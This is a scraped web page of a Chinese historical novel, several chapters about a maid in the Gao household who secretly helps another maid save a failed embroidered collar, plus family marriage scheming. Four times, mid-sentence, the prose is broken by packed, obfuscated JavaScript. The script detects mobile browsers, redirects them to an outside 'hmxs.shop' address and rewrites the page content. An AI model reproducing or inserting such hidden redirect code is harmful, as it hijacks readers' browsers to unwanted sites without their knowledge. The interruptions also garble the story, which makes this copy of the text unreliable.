d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030537|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在鹿啄眼里，王娘子的云肩还比不上蚂蚁搬吃食来的有趣好看。 纯儿大致明白了，也把头低下去。 此时，尽管罗列了一大堆的好处，王娘子仍未罢休，又如捧着仙子的心肝般，把云肩向上送了送，想凑近让高雅英细看针脚，谁知手伸了两寸，高雅英却向后缩了一下，摆手道： “有劳王娘子。” 王娘子不解，可她看得出眼色，于是讪讪收回手，眼里突然冒出一丝不服。 只听高雅英又道： “我当初与你说的，是翩然若生，要的是蝴蝶停在肩头那一瞬的活气。”她的语调平稳，听不出情绪，“如今看来，是我说得深了。” 闻言，王娘子的脸由白转红，继而又变得更白。她怎会听不出这话里藏着的“俗气”两个字，可深闺小姐又懂什么技艺？一味地要特别、要雅致而已。 她自然没分量去瞧不上小姐什么，可她也是有本事，有傲气的人，劈头盖脸的数落，难免叫她心绪不定，显在面上。 高雅英倒浑不在意，只说： “拆了吧，回天乏术。料子，工钱，都记在我的账上，不必劳动报给庄嬷嬷，丢不起那个人。” 这话更难听了。王娘子僵在原地，似乎想强辩，但苦于没有托词，反而是旁边一直缄口的高容英，忽道： “大姐姐何必灰心呢，当初母亲把苓娘的花样子给咱们，你我都觉得做不成啊。这象生的境界本就是极难的，强求不得。” “若苓娘活着，也未必做不成。” 苓娘这两个字，就像从天上掉下来一颗刺，扎进鹿啄的天灵盖里。她猛地抬头，仔细看了看王娘子手里拿着的云肩。 那云肩的确绣得非常难看，不值一观，她先头没有想错。可仔细再瞧瞧形制和轮廓，实是极美的，若绣好了，普天之下也没有第二件。形制的绣样，乃至于每处绣花的花样，只能是出自鹿苓之手，不会有假。 纵然是姐姐死了，她们也不忘拿着姐姐生前留下的东西，给自己贴脸面。 鹿啄皱起眉头。 此时，高容英又开口了： “苓娘活着，可轮不到咱们姐妹驱使，她专职给父亲缝补子，母亲都未必叫得动。” 高雅英不屑。 “父亲那儿才多少活儿？那补子也没什么看头。早知道她命这么薄，当时使性子也该叫母亲给我讨来一两件袄裙。” 说罢，她又觉得眼前的王娘子碍眼似的，一个眼神飞过去： “愣着做什么，还不拆？” 王娘子还未动，郑婆子身旁的纯儿却突然感觉腿后一疼，像是让人踹了一脚。这一脚来得突然，纵然力道不重，她毫无防备，几乎是瞬间，身子猛地向前一扑，跪倒在地上，伴随着一声轻呼。 一时间，院子里所有人都朝纯儿看过来，纯儿面上一热，赶紧回头去看是谁踹她，刚回过头，就见鹿啄站在身后，用嘴型对她说了两个字：有救。 8. 纯儿 纯儿险些落下泪来。 她怎么就招惹了这么个冤孽。 那云肩是不是有救有什么打紧，在小姐们面前失仪，她才是要没救了！ 纯儿发着抖，从一个凌乱的跪姿调整成比较规矩的跪姿，心里琢磨着接下来要怎么跟小姐们交代。 郑婆子就在纯儿旁边，看她“嗷”得一声扑了出去，也是心下一惊，等回过神来，她第一个念头就是要去打纯儿的嘴巴，但还没动手，就见鹿啄也跪下去了。 两个人同时跪了，别的小丫头警觉起来，怕主子发怒，便都齐刷刷跪了下去。 趁着这个功夫，鹿啄凑近纯儿，飞快地说了一句： “用套针。” 纯儿原想磕上十个八个头，再挨上两记耳光，总能平息小姐们的脾气。她知道鹿啄这一脚把她踹出来，又提示她云肩有救，是想让她在小姐们面前露脸，可她怎么露脸，她连那云肩为何那么丑都不知道。 可鹿啄一说“套针”，她却明白了。 对啊，那云肩之所以绣的死气沉沉，不就是色彩斑斑块块，满绣又让芝麻纱失了其轻薄导致的吗？ 要是换做套针来绣，再把丝线劈得极细，定能做出十足的轻盈灵动来。 这确实是条路子，虽然有得罪王娘子的风险，但有舍方有得，王娘子与大小姐比起来，不值一提。 纯儿想着，便极力压制住心中的恐惧，头低得愈深，额头抵着微凉的地面，用尽全身力气才让声音不那么颤抖，抢在郑婆子发作前开口： “大小姐恕罪！奴婢…奴婢一时失仪，罪该万死！” 磕头是少不了的，纯儿足足磕了三个头，才急切地低声说道： “只…只是奴婢方才远远瞧见那云肩，斗胆…斗胆觉得，或许…或许还有法子补救一二！” 这话一出，满院皆静。 郑婆子倒吸一口凉气，吓得脸都白了，恨不得立刻上去捂住纯儿的嘴。王娘子更是猛地转头，目光如刀子般剐向纯儿，带着被冒犯的震惊与怒气。 两位小姐仍保持着回头的姿态，听闻此言，便不谋而合地垂眸看向地上那个瑟瑟发抖的小丫头。高容英细长的眉毛微微一挑，旋 即又看高雅英： “我知道大姐姐眼里最揉不得沙子，但我爱看蠢材卖弄才情。” “想看便看。” 高雅英的声音听不出喜怒，却带着无形的压力。 纯儿伏在地上，声音带着哭腔，却异常清晰： “奴婢不敢妄议！奴婢…奴婢只是瞧着，这云肩的底稿和形制是极美的，王娘子的绣工更是精细无比，奴婢万万不及。只是…只是这蝴蝶要‘活’，光靠缎绣铺针，怕是…怕是太重了，把翅膀压得飞不起来了。” 王娘子脸色铁青，忍不住出声呵斥： “胡言乱语！你懂什么？芝麻纱轻薄若无物，不用铺针如何定得住图案？难道让你那三脚猫的功夫来绣，让丝线浮在表面，一勾就散吗？” 纯儿被呵斥得浑身一抖，但还是咬着牙，鼓起勇气说道： “回娘子，奴婢…奴婢觉得，或许…或许可以用套针。将丝线劈得极细，用十几种…甚至几十种相近的色线，由深到浅，一层层套上去绣翅膀，模仿蝶翼天然的脉络和颜色过渡。这样…这样绣出来的翅膀，远看颜色融在了一起，近看才能看到细密的针脚和丝理，既轻透，又能看出翅膀的薄脆感和…光泽。” 她顿了顿，感受到向她投来的目光似乎并没有立即驳她的意思，便大着胆子补充了最后一句： “而且…而且套针绣出来的东西，是有丝理的。绣娘下针的时候，心里要想着蝴蝶翅膀是怎么长的，丝线就要顺着那个方向走。这样…这样光打在上面的时候，才会随着人走动，有明暗变化，看起来…看起来就像是翅膀在微微颤动，真的…真的活了过来一样。” 纯儿说完这番话，几乎虚脱，重新将额头抵在地上，不敢再抬头。 片刻后，高容英的声音响了起来： “却不是个蠢的，很有一番道理。” 高雅英还没说话，王娘子忽地也跪了下去，愤怒让她的声音都尖厉起来： “二位小姐明鉴，这小丫头片子倒是长了张巧嘴，懂得几个词儿就来卖弄。”她眼风扫过纯儿，满是讥诮，“套针？说得轻巧！她可知这‘套’字背后，是多少绣娘熬瞎了眼、耗干了心血？” “若要绣出她口中‘由深到浅’、‘微微颤动’的活气，便要劈丝，将一根蚕丝劈成十六份，乃至三十二份，那会是什么光景？劈出来的根本就不是线，是烟！是雾！手指稍微糙一点就能勾毛！” 她越说越激动，声音又尖锐又高亢： “更何况，劈丝的手艺要人的手极稳，用力极精妙，纵使去京城找，也找不出多少能劈三十二份的绣娘来！” 这番话确有它的道理。套针是苏绣的基本功，几乎所有绣娘都会使，只是劈丝的功夫却并不是每个人都熟，因为讲究一个手上的技巧和熟练程度，并不是技法多难领会，所以很多绣娘都是靠着日久年深的积累才能把丝线劈得更细更多。 纯儿听到这话，心立马慌了。她进府前帮家里做绣品，至多只劈过八股，而且常常失败，糟蹋丝线。她方才只想着这么名贵的底料拆了可惜，若是有办法，王娘子他们自然会去弥补，没想到王娘子根本也知道套线的法子，只是跟她一样，不大会劈丝。 心虚之下，纯儿又去看鹿啄。 后者面色如常，嘴唇动了两下，无声道： “我会。” 不光会劈丝，还会揭画，剥皮剥得也不错。 凡是要手上稳当使巧力气的功夫，根本技巧都融会互通，练武的时候，顺手就练了。 纯儿目光中渐渐露出惊愕，鹿啄示意她把头转回去，同时补了一句： “拖。” 纯儿立刻了然，鹿啄这是让她拖一会儿时间，说不定已经有了办法。她心里又喜又惊，连忙转回头去，与王娘子强辩这蝶式云肩所用绣线是否真要劈丝三十二股之多。 后头的鹿啄，不慌不忙，摘下自己的耳坠子，用尖锐那头，神不知鬼不觉地，在离她不远的郑婆子身上，勾了一深一浅两根绿色丝线下来。 郑婆子感觉异样，便回头看，可鹿啄已经又端正跪好，她只得作罢。 虽然众人身处绣房，可这种场面，鹿啄并不能大摇大摆地走进库房或绣房取线，也不能叫让纯儿真的当众劈线。那现下最快能搞到丝线的办法，就只有从人身上拆。小丫头们的衣服都是次等的棉麻，勾不出丝线，小姐和大丫头们离得又远。 好在郑婆子穿的不赖。 鹿啄假意跪伏在地，单手一捻细线，分出十余股，她另一手扯线头，两手用力，又快又稳，速度和力道几乎完全不变，很快就劈好一些。 院子正中，王娘子正扯着脖子高喊： “大小姐，非是奴婢不用这‘更好’的法子！奴婢是不敢拿府上的要紧事冒险！用铺针缎绣，虽失了几分灵动，但针脚扎实，光泽耐久，撑得起场面！奴婢这都是为了您在严家跟前的体面！” 她的面前，高雅英一手撑着额头，等着她嚷嚷完，又静了静，才沉声道： “王娘子，有理不在声高，你吵的我头疼。” 听了这么半天，高雅英开始有些恼了。她是高门大户的小姐，刺绣的事自然也懂，也能猜到这里面的难处，否则王娘子不可能故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030538|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意触她的眉头。 所以蝶形云肩她早不指望了，但王娘子硬要争这口气，弄得场面难看，跟个小丫头拌嘴，这就是让她脸上也难看： “我看算了，你们各有道理，争不出输赢，只把那云肩拆了，爱去哪儿吵去哪儿吵，别来碍我的眼。” 她说话的当时，鹿啄手上的线劈好了。 趁着高容英要打圆场，鹿啄假意膝行一步，到纯儿边上，拉住纯儿的手，把丝线放入纯儿手中，嘴上却道： “纯儿，算了吧，咱们怎么跟王娘子比。” 鹿啄不是很会做戏，一句话说得生硬无比，好在她这一天下来说的话都很生硬，郑婆子也没起疑。 纯儿拿了丝线，赶忙收入袖中，虽然心脏仍跳得厉害，却已有了成算，于是她再次叩首，声音虽微颤却清晰： “大小姐明鉴！奴婢…奴婢手艺粗陋，万万不敢与王娘子相比，更不敢妄言能独立完成。奴婢只是…只是觉得这般好的底稿和料子，若是拆了实在可惜。” 没人说话，纯儿只能又继续说： “奴婢家母是经年的老绣娘，今日进府，奴婢身上还带着家母劈好的丝，原是为了进府后参详学习之用，但若是小姐们不嫌弃， 奴婢愿…愿竭尽所能，试着绣一小片，哪怕…哪怕只是翅膀尖上的一点点，给小姐和娘子们瞧瞧。” 她已把话说得十分小心，却还是怕高雅英恼火，只能又磕了两个头，道： “若…若是不成，奴婢甘受任何责罚！若是…若是侥幸能入眼，或许…或许能证明此法可行，也不至于让小姐们败兴！” 纯儿不敢说云肩一定做得出来，毕竟劈丝的是鹿啄，鹿啄又不知什么原因，并不想其它人知道她有能耐。 可不试试，纯儿又觉得对不起自己。 傻子都看得出，如果在这事儿上露脸，极有可能会被小姐们点走到院里伺候针线，就算是不能，绣房也一定留下了。至于日后王娘子如何为难，那是以后的事，至少她不能一声不吭地就去了杂役房。 高容英瞧了瞧高雅英的面色，轻轻拉她的手： “大姐姐，看一个丫头的针线有什么意思，上次在我那儿读的《草堂诗余》，还未读尽兴，不如今日再鉴赏一番？” 纯儿以为高容英并不想给她机会，顿时鼻头一酸，眼眶里蓄了泪。 但如果她了解了这位高大小姐，就会明白，此时高容英若顺着提议真让纯儿试试，高雅英反而不会答应。 “不去。”高雅英干脆利落，“你那儿都是些与我们女儿家立身无益的书，偶尔看看得了。” 她说着一转头，向郑婆子： “郑嬷嬷，给她取针和绷子，就在这院里绣。” 闻言，王娘子脸色灰败下去。 郑婆子忙不迭称是，招呼人把绣架和一小片同料的芝麻纱边角料搬来。 纯儿跪坐在绣架前，手抖得几乎拿不住针。她几次提振精神，又深深吸气，回想着套针的要领，心中不断提醒自己：绝不可出错，哪怕是以后次次出错都行，只这一次，让她成了吧。 心中念着，纯儿屏息凝神，落下了第一针。 她手艺虽不精，但基本的套针法是会的，此刻又有明确的方向和鹿啄劈好的线，竟也绣得像模像样。她只绣了蝶翼边缘一小块区域，丝线极细，针脚参差融合。 一边的郑婆子，觉得那绿色十分眼熟。 两炷香的功夫后，芝麻纱上的一小块儿绣成了。尽管纯儿的技艺远不如王娘子，但那块用套针绣出的部分，色彩自然晕染，在光线下有了微妙的明暗变化，与旁边王娘子用缎绣绣出的、平整却呆板的色块形成了鲜明对比。 高下立判。 9. 我爱扫地 人往高处走，水往低处流。 纵使是与人无害的人，遇到了能往上一步的时机，也不会无动于衷。 更何况王娘子作为这件事里唯一的受害者，其受害程度，也不过是丢一点面子。 纯儿将绣好的芝麻纱递上去，路过边上的王娘子时，心里有了这个想法。 可鹿啄为什么不想往上走呢？ 这想法是她的，虽然她不会绣，但大可以给王娘子卖个好，她劈线，让王娘子来绣，这不是两全其美吗？总要比在暗处大费周章的帮自己来的容易。 或许是因为她不大会说场面上的话。 这可是个大问题。 今天早上，不还因为这个挨了嘴巴吗？ 纯儿心里的疑虑打消了，她恭恭敬敬地等着两位小姐验完绣品，把芝麻纱还了她，才退到一边去，不作他想。 “王娘子。”高雅英叫主绣娘子。 后者早已心灰意冷，听了这一句自知要罚，便应着是，把头低了下去。 “这丫头绣工并不如你。” 一句话，王娘子如蒙大赦，但又不肯相信，犹如让人打了几棒子丢出去的狗，在街上碰见了主人一样，充满希冀地抬起头来，不太年轻的眼睛忽而变得水汪汪的。 “而且她也并不会劈线。”高雅英看了一眼边上又紧张起来的纯儿，“她使的是她娘劈好的线，绣工又只能说过得去，就剩下心思 活泛，有悟性这两样好。” 自知没瞒过高雅英，纯儿不敢再说话，紧张地抠着裤子，听高雅英又说： “这样的丫头，留在你绣房里，要个三年五载才能派上用处，放在别处，又可惜了她的心思。不如让玉珰领到我屋里，我倒能用。” 两滴眼泪立时从纯儿的眼眶里滚落出来！ 刚刚她险些放弃了，做好了让王娘子挤兑到死的打算，可高雅英轻飘飘一句话，又给了她活路。这样聪明又明事理的主子，再没有比这更好的了。 高雅英又问郑婆子： “郑嬷嬷，这丫头我带走了，不会给您惹麻烦吧？” 郑婆子连连摆手： “这怎么是麻烦，这是这丫头的福气，奶奶那儿，我们自然替小姐去说话，小姐只管带人。” 她面上堆笑，背后咬牙。恨这样的好事落在她看不上的玩意儿手里，恨侄女没本事，除了模样，都拿不出手，只能走通关系塞出去，不给她长脸。 高雅英站起来，玉珰立即去扶她的手，一路请到纯儿身边，大小姐才居高临下问： “叫什么？” 纯儿不敢抬头： “回小姐的话，婢子叫纯儿。” 高雅英微微颔首，撂下一句： “以后你叫小钗。” 旋即，她叫上早已起身等着她的高云英，转身离开了绣房。 高雅英身边的银钿留了下来，是要给这位新来的“小钗”指路，纯儿央着银钿等她一会儿，得到了首肯后，她跑到鹿啄身边，看郑婆子在跟王娘子说话，就恭恭敬敬给鹿啄行了个礼： “多谢。” 鹿啄低低嗯了一声，也没其它的话。纯儿赶紧又说： “过一阵子，等我在大小姐房里有脸面了，我就把你也带过去。” “不用。” 放旁人，要是突然来这么一句，纯儿以为她一定是生气了，但鹿啄不一样，她好像没有情绪，说不用，就只是不用的意思。 “那等我发了月例，或是领了赏，我都给你。” 鹿啄还是摇头。 纯儿不知怎么办才好，她不敢叫银钿多等，只能又问鹿啄： “那我总要知道你叫什么吧，以后我也好去找你，也帮着你。” 这回鹿啄稍微有了点表情，好像是笑，但她嘴角牵动的幅度太小，纯儿不敢确定。 只听鹿啄道： “你可以叫我娘。” “……” 这是刚刚拿来搪塞的话！这人怎么较真呢！ 不等纯儿跟鹿啄使性子，那边银钿已经在叫人了，纯儿只能又细细把鹿啄看了两遍，确信自己绝对忘不掉这张脸了，才朝着银钿跑过去。 看着纯儿跟银钿走远，鹿啄收回了视线。 绣房这边的事就算是完了，那蝶式云肩大小姐也没再叫拆，几个绣娘怕王娘子触景伤情，便张罗着收拾到库房里去了。至于郑婆子带来的丫头，王娘子挑了几个会基本绣工的，因严家人十日后就来，要做的活计多，只会杂活的留下无益，鹿啄就自然被挑剩下了。 跟着郑婆子又沿原路出了二门，天色已近傍晚，厨房都快叫传菜了，几个人才到了杂役房。 最后剩下的四个人被郑婆子甩包袱一样扔给了一个婆子。 这婆子鹿啄还见过，就是早上在柴房叫人的那个胡婆子，她本就是厨房人手不够叫过去应急的，厨房挑好了人，自然没她事儿了，她就又回到自己的本岗——杂役房倒夜香。 倒夜香和刷恭桶是两个活，胡婆子只倒夜香，所以她才有闲工夫去厨房帮忙。 至于刷恭桶，是由胡婆子手下的家生丫鬟并几个小厮一起做。胡婆子有心让鹿啄也去刷，因为确实缺人，她又只认识鹿啄，这事 儿没有自愿干的，她必须挑人。但手都点到鹿啄身上了，不知为什么，她突然有些害怕。 后背上的汗毛全竖起来了，脚底板发冷，头皮发麻，一种非常不吉利的感觉笼罩着她。 不过手从鹿啄身上一挪开，马上就好了。 胡婆子认为鹿啄可能有些不吉利，不该让她接触主子们这么隐秘的物件，所以点了另外一个女孩。 由此，胡婆子和手下刷恭桶的各位才躲过了几次不约而同的陷入昏迷。 其实刷恭桶对鹿啄来说是个好活儿。 她对于自己要做的事只有一个要求，那就是没人管。恭桶又脏又臭，很少有人看着刷，加上一天只刷一次，剩下的时间她都可以 在高府上找姐姐留下的线索。至于这个活本身，只有一群人聚在一起刷这一个麻烦，她不好脱身。 所以胡婆子指到她的时候，她正盘算七八个人一起昏迷是不是能做到不着痕迹地实施，谁知下一秒，胡婆子就点了别人了。 不刷恭桶也好，鹿啄心里最佳活计第一名还没旁落他人。 ——扫地。 二门里各院都有各院的扫地丫鬟，而院子外头的花园、小径，则单有粗使丫鬟扫，这个丫鬟，就是杂役房指派的。 扫地是最好的活。 可以不动声色的消失；只要拿着扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030539|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把，出现在哪里都不奇怪；大部分时间是一个人，顶多碰上几个过路的；如果有需要，甚至可以到府门外面扫，极其方便跑路；更不像其它随时听差的，看起来好像清闲，但随便来个人都能给借走。 没有比这个活更适合鹿啄的了，她尽力表现出很渴望的样子。 胡婆子并没从她脸上看出渴望。不过剩下的活儿也不多了。扫地和擦洗是一样的，都是在院子里打转，还有个角门边上夜的张婆 子说缺个人作伴。就这三样活儿，胡婆子干脆摊开了跟剩下的三个人讲了，让她们自己挑。 别人肯定觉得扫地是最差的，因为最累。 于是鹿啄得偿所愿，领了自己在高家最亲的亲人——笤帚二哥，奔影壁墙去了。 影壁墙左手边前头，就是拱辰轩，鹿啄刚刚看见郑婆子一路往这边去了。 天就要黑了，郑婆子一定是去找凝儿商量那些衣服的事儿。鹿啄找了个人瞧不见的地方，翻身踩墙上了屋脊，沿着几个院落的屋脊一路窜到拱辰轩配房的屋脊上，在灶房的房后，一个十分背人的地方，她看见了郑婆子和凝儿。 郑婆子嘱咐凝儿： “敲了人定鼓，我就过来，这边的小子们都打点好了，你跟三少爷说，晚上让你上值，到时候就到西边的墙根等我，我把挑过的衣服扔进来。” 凝儿点点头，又摇摇头： “姑母，可三少爷并没那么好说话呢，今天我想跟他卖个乖，让他叫我进书房里研墨，他还瞪我。” “哪有你那么心急的！”郑婆子在凝儿头上敲了一下，“进书房是享福，上夜是受苦，不一样。你就跟他说，说你知道错了，以后 只想默默守着少爷。” 凝儿将信将疑： “怕不好使吧……” 接着头上就又吃了一下。 凝儿只能捂着头说知道了。 “你今儿去灶房看过了没有？” 凝儿点头： “看过了，还就那样扔着呢，没人管，不会坏事的。” “那也不成，严家就要来人了，保不准哪天太太们就要让我把家里翻修一下，放那儿始终不妥，明天大少爷二少爷来查三少爷功课的时候，院里没人，你那时候寻个时机，把包袱带到我这儿。” 凝儿赶忙应了。 两人又凑在一块儿东家长西家短的说了几句不紧要的，郑婆子才悄悄从西厢房走了。 屋脊上，鹿啄翻了个身，脸朝天，躺了下去。 她的衣裳虽破，但若是翻开细看，就会发现内衬上有鹿苓绣的鹿。啜狗山上的姐妹每个人都有鹿苓亲手给画的代表图样，用于区分衣裳和被褥。代表她的样子是一头幼鹿正在吃草，别人又有别的样子。有时逐娘也会给绣点别的，图个新鲜。 还没下山的时候，逐娘和前头几个姐姐隔三差五会拿绣品去山下卖钱，只是从不拿代表她们的纹样绣在要卖的东西上。可绣工骗不了人，无论绣什么，只要是出自鹿苓和逐娘手里的，都值钱。 跟那些小丫头的衣服混在一起，郑婆子倒不会通过一头鹿认出这是她的衣服，然而以郑婆子的见识，一定会把她的衣服留下。 等郑婆子和凝儿交接好了，再来藏衣服的地方把自己的衣服拿走，是最容易的一条路。 10. 高家、严家、殷家 酉正，二门叫传夕食到各院。 杨怀薇桌上摆了一碟鸡油煨茭白、一碟椒料烧猪肉、一碟鲜蘑烧豆腐，并两盏桂花荸荠羹和香稻米饭。 本朝依礼，官宦人家女眷用餐按身份将菜肴分作几等，厨房只会按着等级传菜，轻易不得僭越。 作为聘来而非买来的良家贵妾，杨怀薇的餐等是两菜一汤，必有时蔬或精制点心一道。今日破例传了三道菜，乃是她为了来吃饭的女儿向厨房使了银子，添了一道女儿爱吃的应季鲜蘑。 席面上，高容英坐上首，这是不破的规矩。小姐为主，姨娘再怎么尊贵，面上仍是小姐的仆人，只能坐于侧位或下首。 母女二人各搛了几口菜，吃得约有六七分饱，杨怀薇看向高容英，道： “那蝴蝶云肩，绣的如何？” 在旁伺候的新桐是高容英贴身的丫鬟，她从腰间抽出手帕，递给小姐，高容英细细擦了嘴，才回话： “自然是不行，姨娘难道猜不到？” 高容英在外，能亲昵地称呼她的嫡母为母亲，却只能叫生母杨怀薇姨娘。这并不与高容英个人的意志相关，而是杨怀薇如此要求的，假若杨怀薇在场，高容英还必须把殷碧称为太太或奶奶。 “那大小姐岂不是白白费了许多心思？”杨怀薇将桂花荸荠羹向高容英面前推了推，“好不容易探听到严家的少爷们喜欢心思细巧的姑娘，她如何作罢？” “我看她心思并不在严家上头。”高容英端起盏子，抿了一口。 “不在严家上头？” 严家也是累世官宦，大房官至大理寺卿，下头只有一个妹妹，嫁给了殷氏的哥哥，也就是京城的威节侯嫡子，这样显赫的人家，高雅英会看不上？ “这本不是女儿家该议论的，”高容英眼也不抬，“但依我看，太太更属意娘家侄子些。” 杨怀薇低头一忖。 十日后，严家人会借着同朝为官又是沾亲的同乡为由，登府拜访，实则是来相看儿女。自然殷家的长房会因着中间的姻亲同来作陪，这都是下定了帖子的事儿。 虽说是相看儿女，但落到三房这儿，其实只能看看姑娘们。因高老爷对儿子们不拜官不娶妻的规矩是死的，朝野皆闻，所以并不会有人来打高家三房少爷们的主意。 而这几个女儿，连最小的高云英在内，也都到了可以婚配的年纪，猜测哪位姑娘会与严家结亲，已经在高府上下沸沸扬扬念叨了几个月。 按理，高雅英为嫡长女，在她身上押宝的也就最多。 “侯府并不是什么实在亲戚。” 高容英见生母没看出其中的关窍，于是出言提醒： “威节侯他老人家在家闲住，只是个勋臣，有名无权。把着严家和咱家两门亲戚，虽说占尽了好处，但实则是严家的好处牵绊着高家，高家的好处牵绊着严家。若有一天威节侯过世，侯府分家，高家和严家的好处又不均衡了，怎么办？失了一头，就是两头 都没有，所以也该给下任的威节侯铺铺路。” 下任威节侯，就是殷碧的嫡亲哥哥，已娶了严家女。 杨怀薇不屑： “这么说她想拿夫家贴娘家？再搭进去一个嫡女，好让下任威节侯仍占着严家和高家两处好？” 高容英点点头： “是。但她又不想让我们瞧出来，省的在老爷面前太露骨，所以只让大小姐装的很在意严家罢了。” 说罢，她忽然露出一个鬼灵精的神态来，笑着说： “可这些都不算最好，最好的，其实是陆家。” 两位庶子的母亲，陆从漪陆姨娘的娘家，是现任右都御史，下任左都御史的不二首选，沾上他的关系，可比高彦韬的右副都御史划算的多。 就现在来说，右都御史为正二品，可荫一子直接出任正七品或从六品的官职。 沾上了亲戚，若陆家老爷愿意，便可过继一个子侄给他，接他的荫叙。 唯一一点不好，就是陆从漪是个太会生的，只有两个儿子。 杨怀薇也笑： “所以殷家比起娶高家女，更想让女儿嫁高家郎，他们一贯这么做，” “故技重施，怕也是痴心妄想。” 这故技重施，指的就是主母殷氏当年为高彦韬守身，直到高彦韬有了官职二人才成婚一事。 “更有可能两头不落好。” 高容英给新桐、初柳使眼色，让她们撤菜，倒茶，自己则继续道： “侯府大房里头，只有一个女儿年纪合适，据说娘胎里带的怪病，从小送山上休养了，去年还是前年，方接回家来。这回上咱们这儿来，这殷家大小姐可不跟着。” 见她老神在在，丝毫不急，杨怀薇反倒难安： “说来说去，若是殷氏跟娘家没能齐心，大小姐不还是要跟你争严家？你可有把握？” “姨娘。”高容英突然正色，“你本该知道我的心思并不在这些。” 并不在殷家和严家上头，还是不在嫁人上头？ 杨怀薇自知自己这个女儿是有些古怪的，打小便只爱舞文弄墨，再不就是四处联络官家的小姐和娘子们，极少把心思放在吃食、衣裳上头，更没主动提过自己将来的出路。 她生怕女儿故作清高，又或是已经看上了哪个小门小户家的小子，便盯着女儿硬叫她作答。 高容英不疾不徐，接过新桐手里的茶盏，鼓起两腮略吹了一下热气，似乎很满意似的，让新桐把茶具留下，然后带着其它丫鬟婆子们都退出去。 除她带来的仆从外，杨怀薇贴身伺候的人也很是知趣，一并跟着新桐初柳退出门外，并合上了大门。 高容英这才开口： “娘。” 她极少如此不懂规矩，哪怕是真的只有她们二人时，也会斟酌着称呼，可眼下竟叫出一个“娘”字来。 杨怀薇只觉她接下来要说的话，必定重要非常。 只见高容英放下茶盏，郑而重之： “我要往上走。” 说话间，她一手指天，莞尔一笑： “只会走到最上头。” ----------------- 鹿啄从大通铺的下人房里钻了出来。 怕走大路直接撞上郑婆子，她还是先上了房顶。 一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030540|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝着拱辰轩飞驰，她一边琢磨着：其实上夜也是个不错的差事，至少晚上在外面闲晃，不用走房顶。 白天走房顶，她那身粗使丫鬟的衣服并不显眼，跟盖瓦差不多一样的颜色。可到了晚上有灯火，就显眼一点。 得寻机会出去一趟，到她跟鹿苓在青州暂住的屋子里，把东西都收拾回高府。那些东西里，有逐娘给她和鹿坤鹿霖三个做的夜行服。 但行李收拾好了，藏在哪儿？ 还是要有自己的住处才行。 到什么时候才有独立的住处？鹿苓信里并没说过。 让她自己在高府里打听，就得先跟高府的下人处好关系，这也是一件难事。 一阵思虑后，鹿啄已经到了拱辰轩一个不起眼的耳房顶上，恰好听见下头传来人定鼓的声音。 拱辰轩上了灯，值夜的丫头——也就是凝儿，正轻手轻脚地走到廊下，朝着已经上锁的院门张望。不知道她用了什么法子，居然真的许她上夜了。 鹿啄算着自己刚刚过来的时间，郑婆子的腿脚大概慢上一倍，眼下她有时间观察一下院子里哪儿适合藏人，哪儿适合垫脚，哪条路回去最快。 这院子鹿啄上午已经来看过，但看的并不仔细，现在仔细观察一下，有了些新的收获。 首先地方肯定是比绣房要大上不少的，从东到西，有个数百步的距离。再者就是院子里种了不少柳树，且每棵柳树枝桠的朝向不同，好像不是从小生长，是最近移栽的。 柳树槐树本就不吉，极少放在院子里充作景观，再加上这些柳树又是新移栽的，证明原来没有，是院子的新主人特意要求了，才这样陈设。 鹿啄想到一个原因。 春秋时期，一位名叫养由基的壮士去柳叶百步而射柳，竟百发而百中，故被人称为善射者。后世便以此为缘故，诞生出叫“射柳”的军礼来。 施行之法，是折一截柳枝插在地上，用形制特殊的箭簇将柳枝削断，再由射手驰马经过时捡起柳枝，以柳枝折断当时是否能接住取胜负。 虽然是军礼，但民间也有喜欢将射柳充作游戏取乐的。只是这取乐的代价颇为高昂，需要有马，还得有足够马匹驰骋的空间才行。 这两样啜狗山上恰巧都有。 鹿霄的闲书也很多。 所以当时鹿霄读到这典故，就提议鹿坤鹿霖和鹿啄三个会武的比来玩儿。她们大约比了一个下午，很快就因为每个人都能接住折断的柳条而觉得无聊起来，以后再没玩儿过。 鹿啄看了看院里地上。 寻了半天，寻到一截柳枝。 看来真是三少爷平时在院里练习射柳了。 